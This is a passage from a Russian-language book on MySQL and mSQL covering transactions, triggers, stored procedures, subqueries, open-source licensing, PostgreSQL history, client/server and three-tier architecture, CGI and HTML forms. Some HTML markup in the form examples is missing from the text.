    Объединяя эти две команды в транзакцию, вы говорите, что либо обе должны быть успешно выполнены, либо ни одна из них. Если первая команда пройдет, а вторая не сможет выполниться, то можно дать команду, называемую "откат"("rollback"), которая вернет базу данных в состояние, предшествовавшее началу транзакции. Точно так же никому не разрешается трогать файлы, которые вы модифицируете, пока работа не будет завершена. MySQL частично позволяет эмулировать транзакции, используя команду LOCK TABLES. Блокировки помогают избежать нарушения целостности данных, но не дают возможности осуществления операции отката. В mSQL поддержка транзакций отсутствует.

    Триггеры

    Триггеры тесно связаны с транзакциями. Продолжая аналогию с дорожным движением, представим себе полицейского инспектора, сверху наблюдающего за перекрестком. Если одна из машин совершает какое-либо нарушение, инспектор выезжает на дорогу и преследует нарушителя.

    Триггер — это одна или несколько команд SQL, которые хранятся в базе и выполняются, когда происходит какое-либо определенное событие. Триггеры являются методом автоматизации задач контроля. Если выполняется некоторое условие, триггер может воздействовать на данные или просто сообщить о том, что имело место срабатывание триггера.


    Хранимые процедуры

    В простейшем случае хранимые процедуры - это одна или несколько команд SQL, хранимых в базе данных под каким-либо простым именем и в совокупности выполняющих некую функцию. В примере с переводом денежных средств можно было бы просто сохранить эти две команды в одной хранимой процедуре с именем "transfer" (перевод). Ваше приложение передает хранимой процедуре два номера счета и сумму, и она выполняет две команды SQL в одной транзакции.

    На более высоком уровне сложности хранимые процедуры могут расширять базовый синтаксис SQL, так что он становится похожим на традиционные языки программирования. Двумя примерами таких расширений являются Oracle PL/SQL и Sybase/ Microsoft Tran-sactSQL. Часто можно слышать, что использование хранимых процедур "помещает бизнес-логику в базу данных".

    Вложенные запросы

    Обычная команда SQL SELECT осуществляет полный доступ ко всем данным, хранимым в таблице, - если вы знаете, что ищете. Когда вы не стремитесь извлечь содержимое таблицы целиком, SELECT в своем основном виде требует ввести хотя бы часть данных, которые вы хотите извлечь. Например, SELECT name FROM friends WHERE name LIKE 'B%' требует знания хотя бы одной буквы имени, которое вы ищете. Что делать в случае, если вы хотите узнать, чей заработок был выше среднего? Запрос должен выглядеть примерно так:

    SELECT name FROM people WHERE salary > ???

    Больше чего? Вы понятия не имеете, каков средний заработок, пока не сделаете выборку по заработкам! Необходимо взять значение SELECT AVG(salary) FROM people и вставить его в предыдущий запрос. Вложенный запрос позволяет это сделать:

    SELECT name

    FROM people

    WHERE salary > (SELECT AVG(salary) FROM people)

    Объекты

    Реляционные базы данных - не конечный пункт эволюции. Имеется много объектно-реляционных и объектно-ориентированных баз данных. На рынке систем большого масштаба идея чисто реляционных баз данных постепенно отступает. Новый стандарт SQL3 включит в себя многие изменения, касающиеся поддержки объектов.

    В РСУБД все данные хранятся в виде таблиц, представляющих собой просто списки записей, в свою очередь, являющихся собранием битов, представляющих текст, числа и другие типы данных. В объектно-ориентированной системе управления базами данных (ООСУБД) базовой единицей хранения данных является объект. Объект может содержать не только данные тех же типов, что встречаются в реляционных базах данных, но также и другие объекты или многомерные данные, скажем, массивы, или даже выполняемые функции, в мире объектно-ориентированного программирования обычно называемые методами.



    Что значит "бесплатный"?

    Иногда можно слышать, как MySQL и mSQL называют "бесплатными" (free) продуктами. Когда сравнивают MySQL и mSQL, иногда даже говорят, что MySQL "более бесплатна", чем mSQL. Здравый смысл противится выражению "более бесплатный". Однако в мире программного обеспечения действительно изобретены "степени бесплатности".

    До сих пор мы сознательно избегали обсуждения "бесплатности" MySQL и mSQL, поскольку термин "бесплатный" неоднозначен в мире программного обеспечения. На самом деле, лицензия как на один, так и на другой продукт может оказаться для вас не бесплатной, в зависимости от того, кем вы являетесь. По правилам, действовавшим в момент написания книги, университет не был обязан платить за лицензию ни на тот, ни на другой продукт. А коммерческий пользователь mSQL- обязан. Когда говорят, что MySQL "более бесплатна", чем mSQL, имеют в виду, что MySQL бесплатна для большего числа пользователей, чем mSQL.

    Другая сторона понятия "бесплатный" для программ не имеет отношения к цене, а связана с возможностью изучать и модифицировать исходный код. В этом смысле тот и другой продукт совершенно бесплатны. Вы можете зайти на их веб-страницы и загрузить исходный код. Даже если вы принадлежите к пользователям MySQL или mSQL, которые обязаны платить за их использование, тратиться дополнительно на исходный код не нужно.

    В мире программирования возник новый термин, предназначенный для избавления от неоднозначности понятия "бесплатный". Он называется Open Source- Открытый код. Фактически, термин "Open Source" стал торговой маркой, обозначающей программный продукт, исходный код которого открыт вне зависимости от взимаемой за его использование платы. Linux, Netscape, FreeBSD, Perl, Apache, все продукты GNU и многие продукты, упоминаемые в этой книге, такие как MySQL, mSQL, mm.mysql.jdbc и mSQL-JDBC (мы перечислили лишь немногие), - все они являются Open Source-продуктами.

    Другие базы данных, о которых мы говорим в этой главе, также относятся к Open Source. Open source имеет очень большое значение в мире пользователей среднего класса, поскольку "большие парни" склонны рассматривать этот рынок как не заслуживающий их внимания из-за ограниченности, а разработчики малого класса считают эти продукты слишком сложными для себя.



    Другие СУБД среднего масштаба

    Когда mSQL впервые вышла на сцену, это была единственная СУБД среднего масштаба с поддержкой SQL. Но она недолго оставалась в одиночестве. Конечно, вы уже знаете о другой такой базе данных: MySQL. За годы, прошедшие после появления mSQL, появилось и несколько СУБД среднего класса. Мы сосредоточились в этой книге на MySQL и mSQL из-за их очень большого сходства и громадной популярности. Было бы, однако, несправедливо не упомянуть о других базах данных.

    Базы данных используются в столь многочисленных задачах, что трудно в одном пакете соединить все функции для всех возможных применений. Тем не менее крупные поставщики баз данных пытаются достичь этой цели. Они расплачиваются за это производительностью, а вы расплачиваетесь своими деньгами. С другой стороны, базы данных низшего класса настолько узко специализированы, что возможности их использования на малых предприятиях, в некоммерческих организациях и других местах с нетривиальными потребностями весьма ограниченны. Базы данных среднего класса заполняют важный пробел между двумя этими крайностями. До сего времени мы рассматривали лишь два очень схожих подхода к удовлетворению потребности в базе данных среднего класса. Определенно, они не являются единственными решениями. Если, скажем, ваша компания невелика, это не значит, что вам не может потребоваться поддержка транзакций. Некоторым пользователям среднего звена могут потребоваться также триггеры, вложенные запросы, хранимые процедуры, поддержка объектно-ориентированного программирования и многое другое - но не все эти возможности одновременно. Таким образом, различные базы данных среднего класса могут иметь необходимые возможности, отсутствующие в MySQL или mSQL.



    MySQL & mSQL

    Проект GNU для многих программистов является символом свободы. Официальная лицензия на продукты GNU гарантирует свободный доступ и полную свободу модификации исходного кода. Почти для всякой утилиты среды Unix можно найти версию GNU - включая редактор (Emacs), командный процессор (bash) и ядро операционной системы (Hurd). До недавнего времени зияющим пробелом было отсутствие СУБД.

    Институт системного программирования Российской Академии наук работает над тем, чтобы изменить это положение. Пару лет назад он выпустил первую открытую бета-версию GNU SQL - полностью функциональную РСУБД с поддержкой SQL и лицензией GNU Public License (GPL). Ко времени печати этой книги текущая версия GNU SQL имела номер 0.7beta.

    Когда задумывалась GNU SQL, спецификация SQL 2 была еще не окончательной, поэтому первые версии GNU SQL обеспечивали поддержку только функций SQL89, а возможности SQL2 добавлялись постепенно.

    В настоящее время GNU SQL поддерживает многие развитые возможности - транзакции, вложенные запросы и курсоры. Поскольку это бета-версия, мы не рекомендовали бы ее для промышленного использования. По мере своего становления она, конечно, будет достойна внимания. Подробнее узнать о GNU SQL можно на http://www.ispras.ru/-kml/gss/index.html



    PostgreSQL

    Существующая в настоящее время реализация объектно-реляционной СУБД Postgres известна как PostgreSQL (или Postgres 6). Хотя Post-gres поддерживает SQL в течение всего трех лет, самой системе уже более десяти лет. В начале 1980-х д-р Майкл Стоунбрейкер (Michael Sto-nebreaker) из Калифорнийского Университета в Беркли разработал систему баз данных, которая предвосхитила многие концепции, реализованные в современных системах управления базами данных. Эта СУБД получила название Ingres (позднее University Ingres). Ingres была некоммерческим проектом, финансируемым университетом; проектом, быстро обретшим последователей среди специалистов по компьютерам во всем мире.

    Одна из фирм обратила внимание на коммерческий потенциал этого академического продукта и, зарегистрировав торговую марку Ingres, сделала коммерческий продукт. Исходная некоммерческая версия Ingres была переименована в University Ingres, и ее развитие продолжилось независимо от коммерческой версии.

    Через некоторое время д-р Стоунбреикер пошел в своих исследованиях дальше того, что предполагалось в начальных целях проекта Ingres. Он решил, что настало время разработать совершенно новую систему баз данных, развивавшую идеи, заложенные в Ingres, и отправился осваивать новую территорию. Эта система баз данных стала известна как Postgres, то есть после-Ingres.

    Postgres, как и Ingres, была открытым для общественности проектом, который финансировался университетом. И так же, как в случае Ingres, коммерческий сектор обратил внимание и на Postgres, в результате чего появился коммерческий проект Illustra*. Бесплатная Postgres продолжила свое существование и сейчас соперничает в популярности с MySQL и mSQL среди серверов баз данных среднего масштаба.

    В 1995 г. произошли два события, повлиявшие на судьбу Postgres. Во-первых, два студента д-ра Стоунбрейкера - Эндрю Ю (Andrew Yu) и Джолли Чен (Jolly Chen) - разработали SQL-интерфейс для Postgres.

    Таким образом, через несколько лет после того, как Дэвид Хьюз впервые разработал MiniSQL для использования SQL в работе с Postgres, у последней появился настоящий SQL-интерфейс. Поддержка SQL вызвала рост популярности. Как и в случае с mSQL и MySQL, рост популярности привел к росту потребности в новых функциях. В результате появилась объектно-ориентированная СУБД среднего масштаба с поддержкой транзакций, триггеров и вложенных запросов. Подробнее узнать о PostgreSQL можно на http://www.postgresql.org.



    Сравнение характеристик

    Как и многие приложения, MySQL обладает набором тестов для проверки того, что заново откомпилированная система действительно поддерживает все возможности, которыми предположительно должна обладать. Для MySQL этот набор называется "crash-me", поскольку одной из его задач является попытка "завалить" сервер баз данных.

    В какой-то момент обратили внимание на то, что "crash-me" является переносимой программой. Она может работать не только в различных операционных системах, но и использоваться для тестирования разных СУБД. С тех пор "crash-me" превратилась из простого набора тестов в программу, позволяющую производить сравнение характеристик. Тесты включают в себя стандартный SQL, а также расширения, предлагаемые многими серверами. Кроме того, программа проверяет надежность сервера при интенсивной нагрузке. Полный прогон тестов дает исчерпывающую характеристику возможностей сервера баз данных.

    Можно использовать "crash-me" для сравнения двух или более серверов баз данных в активном режиме. Домашняя страница "crash-me" находится на http://www.mysql.com/crash-me-choose.htmy.

    Архитектура клиент/сервер

    В упрощенном виде архитектура клиент/сервер предполагает разделение происходящей в приложении обработки на две или более логически различные части. До сих пор в этой книге мы обсуждали базы данных так, будто они существуют в некоем безвоздушном пространстве. Однако они выполняют свое предназначение только тогда, когда используются какими-либо приложениями. Упрощая, можно сказать, Что база данных составляет одну часть архитектуры клиент/сервер. База данных является "сервером", а всякое использующее ее приложение является "клиентом". Часто клиент и сервер расположены на разных машинах; в большинстве случаев приложение клиента является дружественным интерфейсом к базе данных. На рис. 8-1 графически представлена простая система клиент/сервер.

    Возможно, вы уже встречали в Интернет такую структуру. По сути, мы будем обращаться к определенной задаче приложений клиент/сервер для Интернет на протяжении всей книги. К примеру, WWW является гигантским приложением типа клиент/сервер, в котором Web-броузер является клиентом, а Web-сервер- сервером. В этом сценарии сервер является не сервером реляционных баз данных, а специализированным файл-сервером. Важнейшим свойством сервера является то, что он предоставляет данные клиенту в определенном формате.

    Архитектура клиент/сервер
    Рис. 8-1. Архитектура клиент/сервер

    При создании приложения для работы с базой данных прежде всего необходимо иметь возможность связать клиента с базой данных. Поставщики баз данных предпочитают скрывать от разработчиков основополагающие механизмы связи посредством API, ориентированных на конкретный язык. Когда вы создаете приложение для работы с базой данных, то используете специальные библиотеки, которые транслируют ваши запросы в пакеты TCP/IP, передающиеся по сети к серверу базы данных.

    Внешний вид этих API для доступа к базам данных различен и зависит от языка программирования, а во многих случаях - и от самой базы данных. Поскольку API для MySQL намеренно разрабатывались так, чтобы иметь сходство с mSQL, у всех API, которые вы найдете в этой книге, различия минимальны.



    в деталях разработки приложений для

    Архитектуры приложений для работы с базами данных

    Прежде чем разбираться в деталях разработки приложений для работы с базами данных на различных языках, следует потратить некоторое время и шире взглянуть на проектирование этих приложений. Эта глава концептуальная: мы хотим рассмотреть архитектуру клиент/ сервер, лежащую в основе программирования баз данных. Эти вопросы важны для программирования MySQL и mSQL, но не являются специфичными только для этих СУБД. Напротив, они применимы в любой среде программирования баз данных. Если не учитывать принципов архитектуры, то может оказаться, что ваши приложения не могут ни удовлетворить ваши потребности, ни приспособиться к изменяющимся обстоятельствам. В нашем обзоре программирования баз данных мы коснемся таких сложных тем, как понятие об обычной двухзвенной архитектуре, соответствие между объектами и реляцион-ностью и более новой трехзвенной архитектуре клиент/сервер.



    Объектное/реляционное моделирование

    Основная проблема, которая встает перед разработчиком объектно-ориентированного приложения при использовании реляционной базы данных, это - как отобразить реляционные данные в объекты. Первой мыслью может быть попытка отобразить атрибуты объекта в поля таблицы. К несчастью, такой подход по ряду причин не очень удачен.

  • Объекты не хранят только простые данные в своих атрибутах. Там могут храниться также коллекции и связи с другими объектами.

  • В большинстве реляционных баз данных, включая MySQL и mSQL, нет средств, позволяющих моделировать наследование.


    Практические правила для объектно-реляционного моделирования

  • У каждого сохраняемого класса в базе данных есть своя таблица.

  • Поля объектов с простыми типами данных (целые, символы, строки и т. д.) сопоставлены колонкам в соответствующей таблице базы данных.

  • Каждая строка таблицы базы данных cоответствует экземпляру соответствующего хранимого класса.

  • Каждая связь между объектами типа "многие-ко-многим" требует таблицы-связки, так же как это требуется для объектов базы данных типа "многие-ко-многим".

  • Наследование моделируется с помощью отношения "один-к-одному" между таблицами, соответствующими классу и подклассу.


  • Вспомните адресную книгу, о которой мы говорили ранее. Допустим, она имеет таблицы address и person, как на рис. 8-2.

    Объектное/реляционное моделирование
    Рис. 8-2. Модель данных простого приложения адресной книги

    Объектное/реляционное моделированиеЕсть весьма неочевидная проблема, с которой сталкиваются программисты. Основная задача объектно-ориентированного подхода к реляционным данным - это, получив эти данные, немедленно создать экземпляр объекта. Приложение должно работать с данными только через объекты. Большинство традиционных методов программирования, включая разработку на С, PowerBuilder и VisualBasic, требует, чтобы разработчик извлек из базы данные, а затем их обработал. Главное отличие состоит в том, что в объектно-ориентированном программировании баз данных вы имеете дело с объектами, а не данными.

    Рис. 8-3 показывает объектную модель, соответствующую модели данных на рис. 8-2. Каждая строка базы данных преобразуется в программный объект. Таким образом, ваше приложение принимает результирующий набор и для каждой возвращаемой строки создает новый экземпляр Address или Person. Труднее всего справиться с проблемой, о которой уже говорилось: как в приложении установить связь между человеком и его адресом? Объект Person, конечно, имеет ссылку на объект Address, относящийся к этому человеку, но сохранить объект Address внутри таблицы person реляционной базы нельзя. Модель данных предполагает хранение связей между объектами с помощью внешних ключей, для чего в таблицу person заносится address_id.

    Объектное/реляционное моделирование
    Рис. 8-3. Объектная модель, поддерживающая простое приложение адресной книги

    Самое незначительное усложнение объектной модели может вызвать бездну проблем при установлении соответствия наших объектов и модели данных. Допустим, что Person является потомком Entity и класс Company тоже является потомком Entity. Как отделить Entity от Person или Company? Приведенное выше правило фактически является скорее рекомендацией. В некоторых случаях базовый класс является чисто абстрактным и, следовательно, не имеет в базе связанных с ним данных. В таком случае для этого класса в базе данных не будет объекта.



    Обработка данных

    В части I "Введение в MySQL и mSQL" мы дали понятия управления транзакциями и результирующего набора. Приложение для работы с базой данных — всего лишь инструмент для управления транзакциями и обработки результирующих наборов. Например, если ваше приложение является адресной книгой, то обработка результирующих наборов заключается в том, чтобы извлечь из таблицы все строки и показать их пользователю. Управление транзакциями просто сводится к тому, чтобы изменения в таблицах address и person производились как единое целое.

    Обработка данныхМы уже упоминали, что в MySQL и mSQL нет поддержки транзакций. Всякое изменение в базе данных совершается автоматически, когда вы его запрашиваете. Это ограничение заставляет принимать специальные меры для того, чтобы целостность данных не нарушалась в результате отказа, происходящего в промежутке между двумя связанными между собой обращениями к базе данных.

    Два других важных момента в работе приложения - это подключение и отключение. Вполне понятно, что перед тем, как выполнить запрос, необходимо подключиться к базе данных. Однако довольно часто забывают о второй стороне медали- необходимости "убрать за собой". Следует всегда освобождать все захваченные ресурсы базы данных, когда они вам больше не нужны. В долго живущих приложениях, таких как демон Интернет, неаккуратно написанная система может понемногу отнимать ресурсы базы данных, и, в конце концов, заблокирует систему.

    "Уборка за собой" включает в себя правильную обработку ошибок. Хорошие языки программирования затрудняют пропуск обработчиков исключительных ситуаций (отказ сети, повторяющиеся ключи при добавлении, ошибки синтаксиса SQL и т. д.). Но независимо от того, какой язык вы избрали, вы обязаны знать, какие исключительные ситуации могут возникать при данном вызове API, и в каждой исключительной ситуации действовать надлежащим образом. С-библиотеки для MySQL и mSQL основываются на представлении базы данных в виде наборов строк. Мы хотим этим сказать, что библиотеки С позволяют непосредственно обращаться с данными в том виде, в каком они в принципе существуют в базе данных. Глава 13 "С и C++", раскрывает практические детали программирования в этой модели с использованием С API для MySQL и mSQL.

    Доступ к реляционной базе данных из объектно-ориентированной среды выявляет особый парадокс: реляционный мир занимается исключительно манипуляциями с данными, в то время как мир объектов занимается инкапсуляцией данных внутри некоторого набора схем поведения. В объектно-ориентированном приложении база данных служит средством сохранения объектов для экземпляров приложения. Объектно-ориентированное программирование рассматривает данные запроса не как набор строк, а как собрание объектов.



    Трехзвенная архитектура

    До сих пор мы обсуждали самую простую архитектуру для работы с WWW и простыми бизнес-приложениями - клиент/сервер. Однако эту архитектуру не так-то просто нарастить по мере роста и изменения ваших приложений. В ней также трудно использовать преимущества объектно-ориентированного программирования. Первая проблема недавно нашла отражение в дискуссиях относительно "тонких клиентов". Потребность в тонких клиентах происходит из беспокоящей тенденции в передаче клиенту все больших объемов обработки. Эта проблема проявилась в PowerBuilder и VisualBasic - инструментах, которые прямо вытаскивают данные из базы в GUI, а затем все операции над этими данными проводят в GUI.

    Такая тесная привязка интерфейса пользователя к ядру базы данных приводит к появлению программ, которые трудно модифицировать и невозможно масштабировать при увеличении числа пользователей и объема данных. Если у вас есть опыт разработки интерфейсов пользователя, то вы сталкивались с проблемой переработки интерфейса в зависимости от каприза пользователя. Чтобы изолировать последствия такой переработки, проще всего оставить для GUI только одну задачу- действовать в качестве интерфейса пользователя. Такой интерфейс пользователя действительно является тонким клиентом.

    Влияние на масштабируемость сказывается и с другой стороны. Когда требуется переработать приложение, чтобы оно могло справляться с возросшим числом пользователей и объемом данных, модификация может быть осуществлена в результате изменений, вносимых в базу данных, в том числе таких, которые состоят в распределении базы данных по нескольким серверам. Навечно привязав свой интерфейс к базе данных, вам приходится делать изменения в этом GUI для решения проблем масштабирования - проблем, связанных исключительно с сервером.

    Тонкие клиенты - не единственное сегодняшнее поветрие. Другая тенденция - повторное использование кода. Общий для разных приложений код тяготеет к обработке данных, обычно называемой деловой логикой. Если вся ваша деловая логика располагается в интерфейсе пользователя, то добиться повторного использования кода будет, по меньшей мере, трудно. Решением этих проблем является разбиение приложения на три, а не на две части. Такая архитектура называется трехзвенной.


    Трехзвенная архитектура Когда мы говорим об интерфейсе пользователя у клиента, то имеем в виду логическое различие. Разновидностью тонкого клиента, иногда называемой "сверхтонким клиентом", является то, что обычно всеми воспринимается как Web-страница. Web-страница может динамически создаваться на Web-сервере. В этом случае большая часть работы клиента происходит на сервере в виде динамической генерации HTML-страниц.

    Сравните двухзвенную архитектуру на рис. 8-1 с трехзвенной архитектурой, показанной на рис. 8-4. Мы добавили промежуточный слой между интерфейсом пользователя и базой данных. Этот новый слой, сервер приложений, заключает в себе логику работы приложения - деловую логику, которая является общей для некоторой области задач. Клиент становится ничем иным, как средством просмотра объектов среднего яруса, а база данных становится хранилищем этих объектов.

    Самое главное, что вы выигрываете, - это разделение интерфейса пользователя и базы данных. Теперь вам не нужно встраивать знание базы данных в GUI. Напротив, все сведения о том, как работать с базой данных, могут размещаться в среднем ярусе.

    Две главные задачи сервера приложений - это изоляция подключений к базе данных и обеспечение централизованного хранилища для деловой логики. Интерфейс пользователя имеет дело только с отображением и вводом данных, а ядро базы данных занимается только проблемами базы данных. При перемещении обработки данных в центральное место одну и ту же программу сервера приложений могут использовать различные интерфейсы пользователя, и устраняется необходимость писать правила обработки данных всякий раз, когда вы создаете новое приложение.

    Трехзвенная архитектура

    Рис. 8-4. Трехзвенная архитектура

    CGI и базы данных

    С начала эпохи Интернет базы данных взаимодействовали с разработкой World Wide Web. На практике многие рассматривают Web просто как одну гигантскую базу данных мультимедийной информации.

    Поисковые машины дают повседневный пример преимуществ баз данных. Поисковая машина не отправляется бродить по всему Интернету в поисках ключевых слов в тот момент, когда вы их запросили. Вместо этого разработчики сайта с помощью других программ создают гигантский указатель, который служит базой данных, откуда поисковый механизм извлекает записи. Базы данных хранят информацию в таком виде, который допускает быструю выборку с произвольным доступом.

    Благодаря своей изменчивости базы данных придают Web еще большую силу: они превращают ее в потенциальный интерфейс для чего угодно. Например, системное администрирование можно производить удаленно через веб-интерфейс вместо требования регистрации администратора в нужной системе. Подключение баз данных к Web лежит в основе нового уровня интерактивности в Интернет.

    CGI и базы данныхОдна из причин подключения баз данных к Web регулярно дает о себе знать: значительная часть мировой информации уже находится в базах данных. Базы данных, существовавшие до возникновения Web, называются унаследованными (legacy) базами данных (в противоположность неподключенным к Web базам данных, созданным в недавнее время и которые следует назвать "дурной идеей"). Многие корпорации (и даже частные лица) стоят сейчас перед задачей обеспечения доступа к этим унаследованным базам данных через Web. Если только ваша унаследованная база не MySQL или mSQL, эта тема лежит за пределами данной книги.

    Как сказано раньше, только ваше воображение может ограничить возможности связи между базами данных и Web. В настоящее время существуют тысячи уникальных и полезных баз данных, имеющие доступ из Web. Типы баз данных, действующих за пределами этих приложений, весьма различны. Некоторые из них используют CGI-программы в качестве интерфейса с сервером баз данных, таким как MySQL или mSQL. Эти типы представляют для нас наибольший интерес. Другие используют коммерческие приложения для взаимодействия с популярными настольными базами данных, такими как Microsoft Access и Claris FileMaker Pro. А другие просто работают с плоскими текстовыми файлами, являющимися самыми простыми базами данных изо всех возможных.

    С помощью этих трех типов баз данных можно разрабатывать полезные веб-сайты любого размера и степени сложности. Одной из наших задач на протяжении нескольких следующих глав будет приложение мощи MySQL mSQL к Web с использованием CGI-программирования.

    Что такое CGI?

    Как и большинство акронимов, Common Gateway Interface (CGI - общий шлюзовый интерфейс) мало что говорит по сути. Интерфейс с чем? Где этот шлюз? О какой общности речь? Чтобы ответить на эти вопросы, вернемся немного назад и бросим взгляд на WWW в целом.

    Тим Бернерс-Ли, физик, работавший в CERN, придумал Web в 1990 году, хотя план возник еще в 1988. Идея состояла в том, чтобы дать исследователям в области физики элементарных частиц возможность легко и быстро обмениваться мультимедийными данными - текстом, изображениями и звуком — через Интернет. WWW состояла из трех основных частей: HTML, URL и HTTP. HTML - язык форматирования, используемый для представления содержания в Web. URL - это адрес, используемый для получения содержимого в формате HTML (или каком-либо ином) с веб-сервера. И, наконец, HTTP - это язык, который понятен веб-серверу и позволяет клиентам запрашивать у сервера документы.

    Возможность пересылки через Интернет информации всех типов явилась революцией, но вскоре была обнаружена и другая возможность. Если можно переслать через Web любой текст, то почему нельзя переслать текст, созданный программой, а не взятый из готового файла? При этом открывается море возможностей. Простой пример: можно использовать программу, выводящую текущее время, так, чтобы читатель видел правильное время при каждом просмотре страницы. Несколько умных голов в National Center for Supercomputing Applications (Национальный центр разработки приложений для суперкомпьютеров -NCSA), которые создавали веб-сервер, такую возможность увидели, и вскоре появился CGI.

    CGI - это набор правил, согласно которым программы на сервере могут через веб-сервер посылать данные клиентам. Спецификация CGI сопровождалась изменениями в HTML и HTTP, вводившими новую характеристику, известную как формы.

    Если CGI позволяет программам посылать данные клиенту, то формы расширяют эту возможность, позволяя клиенту посылать данные для этой CGI-программы. Теперь пользователь может не только видеть текущее время, но и устанавливать часы! Формы CGI открыли дверь для подлинной интерактивности в мире Web. Распространенные приложения CGI включают в себя:

  • Динамический HTML. Целые сайты могут генерироваться одной CGI-программой.

  • Поисковые механизмы, находящие документы с заданными пользователем словами.

  • Гостевые книги и доски объявлений, в которые пользователи могут добавлять свои сообщения.

  • Бланки заказов.

  • Анкеты.

  • Извлечение информации из размещенной на сервере базы данных.

    В последующих главах мы обсудим все эти CGI-приложения, а также и некоторые другие. Все они дают прекрасную возможность соединения CGI с базой данных, что и интересует нас в этом разделе.



    Формы HTML

    Прежде чем изучать особенности CGI, полезно рассмотреть наиболее часто встречающийся способ, с помощью которого конечные пользователи получают интерфейс к CGI-программам: формы HTML. Формы являются частью языка HTML, предоставляющей конечному пользователю поля различных типов. Данные, вводимые в поля, могут быть пересланы веб-серверу. Поля могут служить для ввода текста или являться кнопками, которые пользователь может нажать или отметить галочкой. Вот пример страницы HTML, содержащей форму:

    <НТМL><НЕАD><ТITLЕ>Моя страница с формами



    <р>Это страница с формой.



    Введите свое имя:







    Данная форма создает строку длиной 40 символов, куда пользователь может ввести свое имя. Под строкой для ввода располагается кнопка, при нажатии которой данные формы передаются серверу. Ниже перечислены относящиеся к формам теги, поддерживаемые HTML 3.2 -наиболее распространенным в настоящее время стандартом. Названия тегов и атрибутов могут вводиться в любом регистре, но мы придерживаемся необязательного соглашения, согласно которому открывающие теги пишутся в верхнем регистре, а закрывающие - в нижнем.



    Этот тег указывает на начало формы. В конце формы требуется закрывающий тег
    . Между тегами
    допускаются три атрибута: ACTION задает URL или относительный путь к CGI-програм-ме, которой будут посланы данные; METHOD указывает метод HTTP, посредством которого будет послана форма (это может быть GET или ч POST, но мы почти всегда будем использовать POST); ENCTYPE задает метод кодирования данных (его следует использовать только при четком понимании того, что вы делаете).



    Предоставляет наиболее гибкий способ ввода данных пользователем. Фактически есть девять разных типов тега . Тип задается атрибутом TYPE. В предыдущем примере используются два тега : один с типом SUBMIT и другой с типом по умолчанию TEXT. Девять типов следующие:


    TEXT

    Поле для ввода пользователем одной строки текста.

    PASSWORD

    To же, что TEXT, но вводимый текст не отображается на экране.

    CHECKBOX

    Флажок, который пользователь может устанавливать и сбрасывать.

    RADIO

    Радиокнопка, которая должна объединяться еще хотя бы с одной радиокнопкой. Пользователь может выбрать только одну из них.

    SUBMIT

    Кнопка, при нажатии которой форма отправляется на веб-сервер.

    RESET

    Кнопка, при нажатии которой в форме восстанавливаются значения по умолчанию.

    FILE

    Аналогичен текстовому окну, но предполагает ввод имени файла, который будет отправлен на сервер.

    HIDDEN

    Невидимое поле, в котором могут храниться данные.

    IMAGE

    Аналогичен кнопке SUBMIT, но можно задать картинку для изображения на кнопке.

    Кроме атрибута TYPE теги обычно имеют атрибут NAME, связывающий введенные в поле данные с некоторым именем. Имя и данные передаются серверу в стиле величина=значение . В предыдущем примере текстовое поле именовалось firstname . Можно использовать атрибут VALUE, чтобы присвоить полям типа TEXT, PASSWORD , FILE и HIDDEN предустановленные значения. Этот же атрибут, используемый с кнопками типа SUBMIT или RESET, выводит на них заданный текст. Поля типа RADIO и CHECKBOX можно отобразить как выставленные с помощью атрибута CHECKED без задания значения.

    Атрибут SIZE используется для задания длины полей типа TEXT, PASSWORD и FILE. Атрибут MAXLENGTH можно использовать для ограничения длины вводимого текста. Атрибут SRC задает URL изображения, используемого в типе IMAGE. И наконец, атрибут ALIGN задает характер выравнивания изображения для типа IMAGE и может иметь значение TOP, MIDDLE, BOTTOM (по умолчанию), LEFT или RIGHT (вверх, в середину, вниз, влево, вправо).

    .


    Как и у тега , у тега , и в качестве текста по умолчанию будет принят любой текст, находящийся между тегами , аналогично атрибуту VALUE для тега . Для тега

    , дающая место для ввода очерка. Данные получают имя 'essay'. Блок текста 70 символов в ширину и 10 строк в глубину. Пространство между тегами



    можно использовать для образца очерка. -->



    типов 'SUBMIT' и 'RESET' соответственно. Кнопка 'SUBMIT' имеет переопределенную надпись 'Ввести данные ', а кнопка 'RESET' имеет надпись по умолчанию (определяемую броузером). Кликнув по кнопке 'SUBMIT', вы пошлете данные на веб-сервер, Кнопка 'RESET' восстановит данные R исходное состояние, удалив все введенные пользователем данные. -->



    Единственный тип ввода, который мы здесь не использовали, - это тип IMAGE для тега . Можно было бы использовать его в качестве альтернативного способа отправки формы. Однако тип IMAGE редко совместим с текстовыми и не очень чуткими броузерами, поэтому благоразумно избегать его, если только ваш сайт не выполнен в насыщенном графическом стиле.

    После знакомства с основами форм HTML можно приступить к изучению собственно CGI.



    в книгу по базам данных

    Программирование с использованием CGI
    Включение раздела о CGI в книгу по базам данных может показаться столь же странным, как если бы в кулинарную книгу была включена глава о ремонте автомобилей. Разумеется, для того чтобы съездить в магазин за продуктами, нужен исправный автомобиль, но уместно ли об этом говорить? Полное изложение CGI и веб-программирование в целом выходят за рамки данной книги, но краткого введения в эти темы достаточно для того, чтобы расширить возможности MySQL и mSQL по представлению данных в царстве Web.

    В основном эта глава предназначена тем, кто изучает базы данных, но не прочь приобрести некоторые знания и в программировании для Web. Если ваша фамилия Бернерс-Ли или Андрессен, вряд ли вы найдете здесь то, чего еще не знаете. Но даже если вы не новичок в CGI, наличие под рукой краткого справочника во время погружения в тайны MySQL и mSQL может оказаться весьма полезным.



    Спецификация CGI

    Итак, что в точности представляет собой "набор правил", позволяющий CGI-программе, скажем, в Батавии, штат Иллинойс, обмениваться данными с веб-броузером во Внешней Монголии? Официальную спецификацию CGI наряду с массой других сведений о CGI можно найти на сервере NCSA по адресу http://hoohoo. ncsa.uluc.edu/ cgi/. Однако эта глава для того и существует, чтобы вам не пришлось долго путешествовать и самому ее искать.

    Есть четыре способа, которыми CGI передает данные между CGI-npor-раммой и веб-сервером, а следовательно, и клиентом Web:

  • Переменные окружения.

  • Командная строка.

  • Стандартное устройство ввода.

  • Стандартное устройство вывода.

    С помощью этих четырех методов сервер пересылает все данные, переданные клиентом, CGI-программе. Затем CGI-программа делает свое волшебное дело и пересылает выходные данные обратно серверу, который переправляет их клиенту.

